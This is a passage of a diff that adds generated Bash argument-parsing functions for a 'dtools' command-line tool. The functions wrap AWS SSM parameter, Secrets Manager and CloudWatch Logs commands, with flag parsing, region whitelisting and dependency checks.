:command.parse_requirements_case + # :command.parse_requirements_case_simple + # :argument.case + if [[ -z ${args['parameter_name']+x} ]]; then + args['parameter_name']=$1 + shift + else + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + fi + + ;; + + esac + done + + # :command.required_args_filter + if [[ -z ${args['parameter_name']+x} ]]; then + printf "missing required argument: PARAMETER_NAME\nusage: dtools aws ssm get-parameter PARAMETER_NAME [OPTIONS]\n" >&2 + + exit 1 + fi + + # :command.default_assignments + [[ -n ${args['--region']:-} ]] || args['--region']="us-east-1" + + # :command.validations + # :flag.validations + if [[ -v args['--profile'] ]]; then + validation_output="$(validate_aws_profile_exists "${args['--profile']:-}")" + if [[ -n "${validation_output}" ]]; then + printf "validation error in %s:\n%s\n" "--profile, -p PROFILE" "$validation_output" >&2 + exit 1 + fi + fi + + # :command.whitelist_filter + if [[ ${args['--region']:-} ]] && [[ ! ${args['--region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then + printf "%s\n" "--region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 + exit 1 + fi + + # :command.user_filter + filter_error=$(filter_profile_and_region_variables_set_with_flags) + if [[ -n $filter_error ]]; then + echo "$filter_error" >&2 + exit 1 + fi + +} + +# :command.parse_requirements +dtools_aws_ssm_create_parameter_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_aws_ssm_create_parameter_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="aws ssm create-parameter" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --profile | -p) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--profile']="$2" + shift + shift + else + printf "%s\n" "--profile requires an argument: --profile, -p PROFILE" >&2 + exit 1 + fi + ;; + + # :flag.case + --region | -r) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--region']="$2" + shift + shift + else + printf "%s\n" "--region requires an argument: --region, -r REGION" >&2 + exit 1 + fi + ;; + + # :flag.case + --name) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--name']="$2" + shift + shift + else + printf "%s\n" "--name requires an argument: --name NAME" >&2 + exit 1 + fi + ;; + + # :flag.case + --value) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--value']="$2" + shift + shift + else + printf "%s\n" "--value requires an argument: --value VALUE" >&2 + exit 1 + fi + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + + # :command.required_flags_filter + if [[ -z ${args['--name']+x} ]]; then + printf "missing required flag: --name NAME\n" >&2 + exit 1 + fi + if [[ -z ${args['--value']+x} ]]; then + printf "missing required flag: --value VALUE\n" >&2 + exit 1 + fi + + # :command.default_assignments + [[ -n ${args['--region']:-} ]] || args['--region']="us-east-1" + + # :command.validations + # :flag.validations + if [[ -v args['--profile'] ]]; then + validation_output="$(validate_aws_profile_exists "${args['--profile']:-}")" + if [[ -n "${validation_output}" ]]; then + printf "validation error in %s:\n%s\n" "--profile, -p PROFILE" "$validation_output" >&2 + exit 1 + fi + fi + + # :command.whitelist_filter + if [[ ${args['--region']:-} ]] && [[ ! ${args['--region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then + printf "%s\n" "--region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 + exit 1 + fi + + # :command.user_filter + filter_error=$(filter_profile_and_region_variables_set_with_flags) + if [[ -n $filter_error ]]; then + echo "$filter_error" >&2 + exit 1 + fi + +} + +# :command.parse_requirements +dtools_aws_ssm_update_parameter_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_aws_ssm_update_parameter_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="aws ssm update-parameter" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --profile | -p) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--profile']="$2" + shift + shift + else + printf "%s\n" "--profile requires an argument: --profile, -p PROFILE" >&2 + exit 1 + fi + ;; + + # :flag.case + --region | -r) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--region']="$2" + shift + shift + else + printf "%s\n" "--region requires an argument: --region, -r REGION" >&2 + exit 1 + fi + ;; + + # :flag.case + --name) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--name']="$2" + shift + shift + else + printf "%s\n" "--name requires an argument: --name NAME" >&2 + exit 1 + fi + ;; + + # :flag.case + --value) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--value']="$2" + shift + shift + else + printf "%s\n" "--value requires an argument: --value VALUE" >&2 + exit 1 + fi + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + + # :command.required_flags_filter + if [[ -z ${args['--name']+x} ]]; then + printf "missing required flag: --name NAME\n" >&2 + exit 1 + fi + if [[ -z ${args['--value']+x} ]]; then + printf "missing required flag: --value VALUE\n" >&2 + exit 1 + fi + + # :command.default_assignments + [[ -n ${args['--region']:-} ]] || args['--region']="us-east-1" + + # :command.validations + # :flag.validations + if [[ -v args['--profile'] ]]; then + validation_output="$(validate_aws_profile_exists "${args['--profile']:-}")" + if [[ -n "${validation_output}" ]]; then + printf "validation error in %s:\n%s\n" "--profile, -p PROFILE" "$validation_output" >&2 + exit 1 + fi + fi + + # :command.whitelist_filter + if [[ ${args['--region']:-} ]] && [[ ! ${args['--region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then + printf "%s\n" "--region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 + exit 1 + fi + + # :command.user_filter + filter_error=$(filter_profile_and_region_variables_set_with_flags) + if [[ -n $filter_error ]]; then + echo "$filter_error" >&2 + exit 1 + fi + +} + +# :command.parse_requirements +dtools_aws_ssm_delete_parameter_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_aws_ssm_delete_parameter_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="aws ssm delete-parameter" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --profile | -p) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--profile']="$2" + shift + shift + else + printf "%s\n" "--profile requires an argument: --profile, -p PROFILE" >&2 + exit 1 + fi + ;; + + # :flag.case + --region | -r) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--region']="$2" + shift + shift + else + printf "%s\n" "--region requires an argument: --region, -r REGION" >&2 + exit 1 + fi + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + # :argument.case + if [[ -z ${args['parameter_name']+x} ]]; then + args['parameter_name']=$1 + shift + else + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + fi + + ;; + + esac + done + + # :command.required_args_filter + if [[ -z ${args['parameter_name']+x} ]]; then + printf "missing required argument: PARAMETER_NAME\nusage: dtools aws ssm delete-parameter PARAMETER_NAME [OPTIONS]\n" >&2 + + exit 1 + fi + + # :command.default_assignments + [[ -n ${args['--region']:-} ]] || args['--region']="us-east-1" + + # :command.validations + # :flag.validations + if [[ -v args['--profile'] ]]; then + validation_output="$(validate_aws_profile_exists "${args['--profile']:-}")" + if [[ -n "${validation_output}" ]]; then + printf "validation error in %s:\n%s\n" "--profile, -p PROFILE" "$validation_output" >&2 + exit 1 + fi + fi + + # :command.whitelist_filter + if [[ ${args['--region']:-} ]] && [[ ! ${args['--region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then + printf "%s\n" "--region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 + exit 1 + fi + + # :command.user_filter + filter_error=$(filter_profile_and_region_variables_set_with_flags) + if [[ -n $filter_error ]]; then + echo "$filter_error" >&2 + exit 1 + fi + +} + +# :command.parse_requirements +dtools_aws_secretsmanager_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_aws_secretsmanager_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v aws >/dev/null 2>&1; then + printf "missing dependency: aws\n" >&2 + printf "%s\n\n" "Install the latest version following the instructions at 'https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html'" >&2 + missing_deps=1 + else + deps['aws']="$(command -v aws | head -n1)" + fi + + # :dependency.filter + if ! command -v jq >/dev/null 2>&1; then + printf "missing dependency: jq\n" >&2 + printf "%s\n\n" "Install using 'brew install jq'" >&2 + missing_deps=1 + else + deps['jq']="$(command -v jq | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action=${1:-} + + case $action in + -*) ;; + + list-secrets) + action="list-secrets" + shift + dtools_aws_secretsmanager_list_secrets_parse_requirements "$@" + shift $# + ;; + + show-secret) + action="show-secret" + shift + dtools_aws_secretsmanager_show_secret_parse_requirements "$@" + shift $# + ;; + + create-secret) + action="create-secret" + shift + dtools_aws_secretsmanager_create_secret_parse_requirements "$@" + shift $# + ;; + + # :command.command_fallback + "") + dtools_aws_secretsmanager_usage >&2 + exit 1 + ;; + + *) + printf "invalid command: %s\n" "$action" >&2 + exit 1 + ;; + + esac + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_aws_secretsmanager_list_secrets_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_aws_secretsmanager_list_secrets_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="aws secretsmanager list-secrets" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --profile | -p) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--profile']="$2" + shift + shift + else + printf "%s\n" "--profile requires an argument: --profile, -p PROFILE" >&2 + exit 1 + fi + ;; + + # :flag.case + --region | -r) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--region']="$2" + shift + shift + else + printf "%s\n" "--region requires an argument: --region, -r REGION" >&2 + exit 1 + fi + ;; + + # :flag.case + --detailed) + + # :flag.case_no_arg + args['--detailed']=1 + shift + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + + # :command.default_assignments + [[ -n ${args['--region']:-} ]] || args['--region']="us-east-1" + + # :command.validations + # :flag.validations + if [[ -v args['--profile'] ]]; then + validation_output="$(validate_aws_profile_exists "${args['--profile']:-}")" + if [[ -n "${validation_output}" ]]; then + printf "validation error in %s:\n%s\n" "--profile, -p PROFILE" "$validation_output" >&2 + exit 1 + fi + fi + + # :command.whitelist_filter + if [[ ${args['--region']:-} ]] && [[ ! ${args['--region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then + printf "%s\n" "--region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 + exit 1 + fi + + # :command.user_filter + filter_error=$(filter_profile_and_region_variables_set_with_flags) + if [[ -n $filter_error ]]; then + echo "$filter_error" >&2 + exit 1 + fi + +} + +# :command.parse_requirements +dtools_aws_secretsmanager_show_secret_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_aws_secretsmanager_show_secret_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="aws secretsmanager show-secret" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --profile | -p) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--profile']="$2" + shift + shift + else + printf "%s\n" "--profile requires an argument: --profile, -p PROFILE" >&2 + exit 1 + fi + ;; + + # :flag.case + --region | -r) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--region']="$2" + shift + shift + else + printf "%s\n" "--region requires an argument: --region, -r REGION" >&2 + exit 1 + fi + ;; + + # :flag.case + --detailed) + + # :flag.case_no_arg + args['--detailed']=1 + shift + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + # :argument.case + if [[ -z ${args['secret_id']+x} ]]; then + args['secret_id']=$1 + shift + else + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + fi + + ;; + + esac + done + + # :command.required_args_filter + if [[ -z ${args['secret_id']+x} ]]; then + printf "missing required argument: SECRET_ID\nusage: dtools aws secretsmanager show-secret SECRET_ID [OPTIONS]\n" >&2 + + exit 1 + fi + + # :command.default_assignments + [[ -n ${args['--region']:-} ]] || args['--region']="us-east-1" + + # :command.validations + # :flag.validations + if [[ -v args['--profile'] ]]; then + validation_output="$(validate_aws_profile_exists "${args['--profile']:-}")" + if [[ -n "${validation_output}" ]]; then + printf "validation error in %s:\n%s\n" "--profile, -p PROFILE" "$validation_output" >&2 + exit 1 + fi + fi + + # :command.whitelist_filter + if [[ ${args['--region']:-} ]] && [[ ! ${args['--region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then + printf "%s\n" "--region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 + exit 1 + fi + + # :command.user_filter + filter_error=$(filter_profile_and_region_variables_set_with_flags) + if [[ -n $filter_error ]]; then + echo "$filter_error" >&2 + exit 1 + fi + +} + +# :command.parse_requirements +dtools_aws_secretsmanager_create_secret_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_aws_secretsmanager_create_secret_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="aws secretsmanager create-secret" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --profile | -p) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--profile']="$2" + shift + shift + else + printf "%s\n" "--profile requires an argument: --profile, -p PROFILE" >&2 + exit 1 + fi + ;; + + # :flag.case + --region | -r) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--region']="$2" + shift + shift + else + printf "%s\n" "--region requires an argument: --region, -r REGION" >&2 + exit 1 + fi + ;; + + # :flag.case + --name) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--name']="$2" + shift + shift + else + printf "%s\n" "--name requires an argument: --name NAME" >&2 + exit 1 + fi + ;; + + # :flag.case + --secret-string) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--secret-string']="$2" + shift + shift + else + printf "%s\n" "--secret-string requires an argument: --secret-string SECRET_STRING" >&2 + exit 1 + fi + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + + # :command.required_flags_filter + if [[ -z ${args['--name']+x} ]]; then + printf "missing required flag: --name NAME\n" >&2 + exit 1 + fi + if [[ -z ${args['--secret-string']+x} ]]; then + printf "missing required flag: --secret-string SECRET_STRING\n" >&2 + exit 1 + fi + + # :command.default_assignments + [[ -n ${args['--region']:-} ]] || args['--region']="us-east-1" + + # :command.validations + # :flag.validations + if [[ -v args['--profile'] ]]; then + validation_output="$(validate_aws_profile_exists "${args['--profile']:-}")" + if [[ -n "${validation_output}" ]]; then + printf "validation error in %s:\n%s\n" "--profile, -p PROFILE" "$validation_output" >&2 + exit 1 + fi + fi + + # :command.whitelist_filter + if [[ ${args['--region']:-} ]] && [[ ! ${args['--region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then + printf "%s\n" "--region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 + exit 1 + fi + + # :command.user_filter + filter_error=$(filter_profile_and_region_variables_set_with_flags) + if [[ -n $filter_error ]]; then + echo "$filter_error" >&2 + exit 1 + fi + +} + +# :command.parse_requirements +dtools_aws_logs_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_aws_logs_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v aws >/dev/null 2>&1; then + printf "missing dependency: aws\n" >&2 + printf "%s\n\n" "Install the latest version following the instructions at 'https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html'" >&2 + missing_deps=1 + else + deps['aws']="$(command -v aws | head -n1)" + fi + + # :dependency.filter + if ! command -v lnav >/dev/null 2>&1; then + printf "missing dependency: lnav\n" >&2 + printf "%s\n\n" "Install with 'brew install lnav'" >&2 + missing_deps=1 + else + deps['lnav']="$(command -v lnav | head -n1)" + fi + + # :dependency.filter + if ! command -v unbuffer >/dev/null 2>&1; then + printf "missing dependency: unbuffer\n" >&2 + printf "%s\n\n" "Install with 'brew install expect'" >&2 + missing_deps=1 + else + deps['unbuffer']="$(command -v unbuffer | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action=${1:-} + + case $action in + -*) ;; + + list-log-groups) + action="list-log-groups" + shift + dtools_aws_logs_list_log_groups_parse_requirements "$@" + shift $# + ;; + + tail-log-group) + action="tail-log-group" + shift + dtools_aws_logs_tail_log_group_parse_requirements "$@" + shift $# + ;; + + query-log-groups) + action="query-log-groups" + shift + dtools_aws_logs_query_log_groups_parse_requirements "$@" + shift $# + ;; + + # :command.command_fallback + "") + dtools_aws_logs_usage >&2 + exit 1 + ;; + + *) + printf "invalid command: %s\n" "$action" >&2 + exit 1 + ;; + + esac + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + +} + +# :command.parse_requirements +dtools_aws_logs_list_log_groups_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_aws_logs_list_log_groups_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.command_filter + action="aws logs list-log-groups" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --profile | -p) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--profile']="$2" + shift + shift + else + printf "%s\n" "--profile requires an argument: --profile, -p PROFILE" >&2 + exit 1 + fi + ;; + + # :flag.case + --region | -r) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--region']="$2" + shift + shift + else + printf "%s\n" "--region requires an argument: --region, -r REGION" >&2 + exit 1 + fi + ;; + + # :flag.case + --detailed) + + # :flag.case_no_arg + args['--detailed']=1 + shift + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + + ;; + + esac + done + + # :command.default_assignments + [[ -n ${args['--region']:-} ]] || args['--region']="us-east-1" + + # :command.validations + # :flag.validations + if [[ -v args['--profile'] ]]; then + validation_output="$(validate_aws_profile_exists "${args['--profile']:-}")" + if [[ -n "${validation_output}" ]]; then + printf "validation error in %s:\n%s\n" "--profile, -p PROFILE" "$validation_output" >&2 + exit 1 + fi + fi + + # :command.whitelist_filter + if [[ ${args['--region']:-} ]] && [[ ! ${args['--region']:-} =~ ^(ap-south-2|ap-south-1|eu-south-1|eu-south-2|me-central-1|ca-central-1|eu-central-1|eu-central-2|us-west-1|us-west-2|af-south-1|eu-north-1|eu-west-3|eu-west-2|eu-west-1|ap-northeast-3|ap-northeast-2|me-south-1|ap-northeast-1|sa-east-1|ap-east-1|ap-southeast-1|ap-southeast-2|ap-southeast-3|ap-southeast-4|us-east-1|us-east-2)$ ]]; then + printf "%s\n" "--region must be one of: ap-south-2, ap-south-1, eu-south-1, eu-south-2, me-central-1, ca-central-1, eu-central-1, eu-central-2, us-west-1, us-west-2, af-south-1, eu-north-1, eu-west-3, eu-west-2, eu-west-1, ap-northeast-3, ap-northeast-2, me-south-1, ap-northeast-1, sa-east-1, ap-east-1, ap-southeast-1, ap-southeast-2, ap-southeast-3, ap-southeast-4, us-east-1, us-east-2" >&2 + exit 1 + fi + + # :command.user_filter + filter_error=$(filter_profile_and_region_variables_set_with_flags) + if [[ -n $filter_error ]]; then + echo "$filter_error" >&2 + exit 1 + fi + +} + +# :command.parse_requirements +dtools_aws_logs_tail_log_group_parse_requirements() { + local key + + # :command.fixed_flags_filter + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + --help | -h) + long_usage=yes + dtools_aws_logs_tail_log_group_usage + exit + ;; + + *) + break + ;; + + esac + done + + # :command.dependencies_filter + missing_deps= + # :dependency.filter + if ! command -v lnav >/dev/null 2>&1; then + printf "missing dependency: lnav\n" >&2 + printf "%s\n\n" "Install with 'brew install lnav'" >&2 + missing_deps=1 + else + deps['lnav']="$(command -v lnav | head -n1)" + fi + + # :dependency.filter + if ! command -v unbuffer >/dev/null 2>&1; then + printf "missing dependency: unbuffer\n" >&2 + printf "%s\n\n" "Install with 'brew install expect'" >&2 + missing_deps=1 + else + deps['unbuffer']="$(command -v unbuffer | head -n1)" + fi + + if [[ -n $missing_deps ]]; then + exit 1 + fi + + # :command.command_filter + action="aws logs tail-log-group" + + # :command.parse_requirements_while + while [[ $# -gt 0 ]]; do + key="$1" + case "$key" in + # :flag.case + --profile | -p) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--profile']="$2" + shift + shift + else + printf "%s\n" "--profile requires an argument: --profile, -p PROFILE" >&2 + exit 1 + fi + ;; + + # :flag.case + --region | -r) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--region']="$2" + shift + shift + else + printf "%s\n" "--region requires an argument: --region, -r REGION" >&2 + exit 1 + fi + ;; + + # :flag.case + --since | -s) + + # :flag.case_arg + if [[ -n ${2+x} ]]; then + args['--since']="$2" + shift + shift + else + printf "%s\n" "--since requires an argument: --since, -s SINCE" >&2 + exit 1 + fi + ;; + + # :flag.case + --verbose | -v) + + # :flag.case_no_arg + args['--verbose']=1 + shift + ;; + + # :flag.case + --stdout) + + # :flag.case_no_arg + args['--stdout']=1 + shift + ;; + + -?*) + printf "invalid option: %s\n" "$key" >&2 + exit 1 + ;; + + *) + # :command.parse_requirements_case + # :command.parse_requirements_case_simple + # :argument.case + if [[ -z ${args['log-group']+x} ]]; then + args['log-group']=$1 + shift + else + printf "invalid argument: %s\n" "$key" >&2 + exit 1 + fi + + ;; + + esac + done + + # :command.required_args_filter + if [[ -z ${args['log-group']+x} ]]; then + printf "missing required argument: LOG-GROUP\nusage: dtools aws logs tail-log-group LOG-GROUP [OPTIONS]\n" >&2 + + exit 1 + fi + + # :command.default_assignments + [[ -n ${args['--region']:-} ]] || args['--region']="us-east-1" + [[ -n ${args['--since']:-} ]] || args['--since']="10m" + + # :command.validations + # :flag.validations + if [[ -v args['--profile'] ]]; then + validation_output="$(validate_aws_profile_exists "${args['--profile']:-}")" + if [[ -n "${validation_output}" ]]; then + printf "validation error in %s:\n%s\n" "--profile, -p PROFILE" "$validation_output" >&2 + exit 1 + fi + fi + + # :flag.validations + if [[ -v args['--since'] ]]; then + validation_output="$(validate_relative_since_time_format "${args['--since']:-}")" + if [[ -n "${validation_output}" ]]; then + printf "validation error in %s:\n%s\n" "--since, -s SINCE" "$validation_output" >&2 + exit 1 + fi + fi + + # :command.whitelist_filter + if [[ ${args['--region']:-} ]] && [[ ! ${args['--region']:-} =~ 